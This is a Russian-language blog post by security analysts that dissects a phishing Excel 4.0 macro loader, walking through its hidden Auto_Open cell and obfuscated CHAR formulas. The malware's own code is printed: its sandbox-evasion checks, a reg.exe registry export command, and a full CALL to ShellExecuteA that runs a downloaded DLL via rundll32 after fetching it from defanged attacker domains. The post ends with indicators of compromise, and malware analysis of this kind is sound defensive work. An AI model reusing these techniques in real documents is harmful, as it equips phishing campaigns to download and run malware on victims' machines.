Привет, Хабр!

В нашем Tinkoff Security Operation Center мы регулярно занимаемся разбором техник, применяемых во вредоносном ПО и атаках, и недавно нам попался один интересный файл, о котором хотелось бы рассказать.

image

Техника, которую применили для создания этого шедевра, известна уже более 20 лет, но даже спустя десятилетия она остается актуальной, поскольку вызовы некоторых проверок в макросе не являются подозрительными и могут использоваться в легитимных документах. Речь идет о загрузчике зловреда, который написан на Excel 4.0 macros.

Инструментарий


В рамках анализа мы будем использовать сторонние инструменты по минимуму и обойдемся стандартным набором программ:

  • пакет Microsoft Office;
  • архиватор;
  • текстовый редактор;
  • как инструмент анализа действий ПО будем использовать Sysmon;
  • в качестве среды для анализа будем использовать VM с Windows 7 на борту

Многабукаф


Документ, который мы будем разбирать, — книга Excel в формате xls. Вредонос доставляется в фишинговых письмах, при запуске документа макрос выгружает ветку реестра, скачивает с сайта Microsoft информацию о обновлениях Office, а также загружает и запускает вредоносную .dll. После этих действий книга закрывается без сохранения изменений.

Главное отличие от остальных загрузчиков этого типа — он не использует макросы VBA.

Статический анализ


Ниже приведен пример письма, в котором содержится вредоносный документ.



Откроем вложение в нашей виртуальной машине.

Сразу стоит обратить внимание: картинка предупреждает, что документ «защищен», и стоит ее открыть локально и нажать на «включить содержимое»:



Предупреждение системы безопасности намекает на то, что нужно посмотреть проекты в редакторе Visual Basic.

Переходим в разработчик — управление макросами (vbs), но не видим никаких макросов vbs или vba:



Тут самое время вспомнить, что представляют собой офисные документы.

Каждый документ Microsoft Office — это архив, который можно распаковать с помощью любого архиватора, извлекая содержимое документа:



После распаковки видим, что внутри документов нет xml-файлов, которые мы привыкли видеть, дело в более старом формате документа — xls.

В расширении xls содержимое хранится не в формате Office Open XML, а в двоичном формате BIFF8. В документе используется Excel 4.0 macro, где макросы могут исполняться в ячейках документа.

Стоит отметить, что лист с макросом не скрыт, но на листе большое количество пустых ячеек, что затрудняет анализ.

Для анализа файлов в формате BIFF8 есть инструменты, например BiffViewer, а для анализа содержимого есть отличный инструмент — oletools. Но мы попробуем обойтись без использования сторонних утилит.

У Excel также есть формат, основанный на xml , — xlsm , в нем можно сохранять код макросов VBA и листы макросов Excel 4.0, что мы и сделаем.
Полный список форматов, доступных для Excel, — excel — форматы.

Сохраняем наш документ, разархивируем:



Посмотрим, что содержится в файлах, начнем с директории macrosheets в папке xl и обнаружим файл со всеми данными на листе макроса:



Таким образом, мы получаем все значения в ячейках на листе макроса. Сам макрос обфусцирован, ячейки содержат только числовые значения и формулы, конвертирующие эти значения и записывающие результат в новые ячейки.

Например, в данной формуле преобразуются числовые значения в символы, конкатенируются и записываются в ячейку FK17653.

Формула в excel
FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

В результате выполнения формулы получим следующую строку:



Каждая последующая команда макроса «собирается» аналогичной формулой, записывается в ячейку и после выполняется.

Чтобы макрос запускался автоматически при открытии документа, ячейка, с которой должен запускаться скрипт, должна называться Auto_Open. Рассмотрим файл workbook.xml:

workbook.xml
<?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

Внутри файла находим строку name="_xlnm.Auto_OpenT8nee" hidden=«1»>Sheet2!$IE$65406
Это значит, что ячейка, с которой запускается макрос, — IE65406, является скрытой. Теперь мы знаем точку входа в макрос.

Динамический анализ


Никогда не запускайте подозрительные файлы на своей машине. Для изучения действий подозрительного ПО необходимо использовать специально подготовленную среду: различные песочницы или специально подготовленную изолированную машину — виртуальную либо железную.

Откроем документ и запустим содержимое. Мелькнет окно командной строки, и книга закроется.
Посмотрим логи Sysmon.

У Sysmon есть событие создания процесса (id 1), более подробно про Sysmon можно прочитать здесь.

По логам видим, что макрос создает файлы в директории c:\users\public

Ниже представлено сообщение sysmon, в котором видно, что происходит выгрузка ветки реестра и запись результата в файл:

Sysmon Event event ID 1
sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

По завершении работы макрос удаляет созданные файлы.

Чтобы запретить удаление файлов, изменим разрешения на папку, оставим права на чтение и запись и запретим удаление:



Запустим документ еще раз, получим ошибку во время выполнения макроса, что даст нам возможность произвести его отладку.

Это возможно, так как отсутствует обработка исключений в некоторых вызовах.





Запустим пошаговое выполнение макроса, во время дебага нам встречаются вызовы функций из dll-библиотек, такие как ShellExecute и URLDownloadToFile. По завершении макроса в папке общих пользователей будут следующие файлы:



Так как нам известна ячейка, с которой начинается исполнение, мы можем заполнить все ячейки в листе макроса. Пробежимся по макросу до функции close(false), где мы прервем выполнение, нажав кнопку «Пауза».

Ячейки с проверками окружения


Просматривая ячейки, которые заполняет макрос, встречаем несколько функций get.window() и get.workspace()

  • Функция get.window() возвращает информацию о текущем окне: статус, состояние окна, его имя, параметры отображения и т. д.
  • Функция get.workspace() позволяет узнать информацию о среде, в которой запущен документ.

Полный список вызовов, доступных Excel 4.0, можно найти в ссылках.

Тут нужно остановиться подробнее: мы с коллегой предположили, что большинство этих вызовов связаны с попытками обхода песочниц:

  • get.winow(7) — проверяет, не скрыто ли текущее окно. Возвращает true или false.
  • get.windows(20) — возвращает true в случае, если окно развернуто на весь экран.
  • get.windows(23) — может вернуть значение 1, 2 и 3.



1 — restored
2 — minimized
3 — maximized

Таким образом осуществляется проверка, открыто ли текущее окно:

get.workspace(31) — проверка, отлаживается ли макрос по шагам.
get.workspace(13) — проверка ширины рабочей области в пикселях: если меньше 770, то книга закроется



get.workspace(14) — проверка высоты рабочей области в пикселях: если меньше 390, то книга закроется



get.workspace(19) — проверка присутствия мыши.
get.workspace(1) — возвращает, в какой операционной системе запущен документ.
В случае false в каждой проверке происходит переход на ячейку закрытия книги без сохранения результата.

Вызовы внешних библиотек


После проверок окружения переходим к основному функционалу. Посмотрим, как из макроса вызываются WinAPI функции:

1. Вызов reg.exe, который мы видели в логах Sysmon.



Для вызова утилиты используется функция ShellExecute из библиотеки shell32.dll, параметры для функции разбросаны по другим ячейкам.

Ячейка BN16631:



Ячейка A46097:



В ячейке GN47559 передается команда экспорта необходимой ветки реестра, Get.workspace(2) возвращает версию Excel.



В ячейке DX48821 содержится путь, куда запишется результат.



Далее в макросе присутствует проверка на наличие созданного файла IcltdXw.reg и его удаление.

2. Вызов функции URLDownloadToFile. Данная функция сохраняет в файл результат get-запроса.
Вызов выглядит следующим образом:



Этот вызов ведет нас на сайт Microsoft, на страницу с информацией об обновлениях Office.

Параметры функции:

Ячейка BR6547



Ячейка IN49847



После выполнения инструкции идет проверка, создался ли файл, а также чтение символа по смещению в файле:



Скорее всего, эти действия направлены на проверку, есть ли у окружения, где запущен документ, доступ в интернет.

В формуле в iserror передается функция FILES и аргумент — имя файла, куда должен записаться результат функции URLDownloadToFile:



Ячейка FM27223 передаст управление функции закрытия книги:



При успешном получении файла от Microsoft заполняются ячейки для подготовки к второму вызову dll urlmon.

Загрузка полезной нагрузки


И вот второй вызов, но уже на домен dehabadi[.]ir, с которого должна произойти загрузка вредоносной нагрузки:



Результат запишется в файл в эту же папку с расширением html:



Дальше натыкаемся на ветвление в коде макроса, если с первой попытки скачать payload не удалось, будет предпринята вторая попытка, но уже с другого адреса.

В случае успешной загрузки выведется всплывающее окно с предупреждением и вызовется загруженная библиотека.



Полный вызов выглядит следующим образом:

=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5) 

В полном вызове функция ShellExecuteA вызывается из библиотеки Shell32 с параметрами для запуска rundll32, с помощью которой вызывается экспортируемая функция скаченной вредоносной библиотеки.

На этом функция макроса завершена, полезная нагрузка загружена и запущена.

Заключение


Как было сказано, технология достаточно старая (Excel 4.0 для Windows 3.0 и 3.1), однако она в полной мере предоставляет функционал, необходимый вредоносному ПО для достижения своих целей. А цель этого файла — незаметно подложить в систему опасное ПО, способное нанести серьезный ущерб, начиная с кражи персональных данных, данных авторизации для систем, заканчивая повреждением/шифрованием данных на компьютере и возможностью удаленно выполнять код.

Для анализа подобных документов совсем не обязательно использовать какие-либо специальные утилиты и ПО, однако стоит упомянуть набор скриптов oletools — подробнее можно посмотреть здесь. На этом мы закончим, ниже приведены индикаторы компрометации, выявленные в результате анализа.

Полученные IOC:

evans[.]williamdmon[@]wp[.]pl
eleventalents[.]com
dehabadi[.]ir
hxxps://eleventalents.com/wp-keys.php
hxxps://dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419

Полный список индикаторов компрометации.

Ссылки:


Над анализом работали:

Фролов Илья
Коленчук Алексей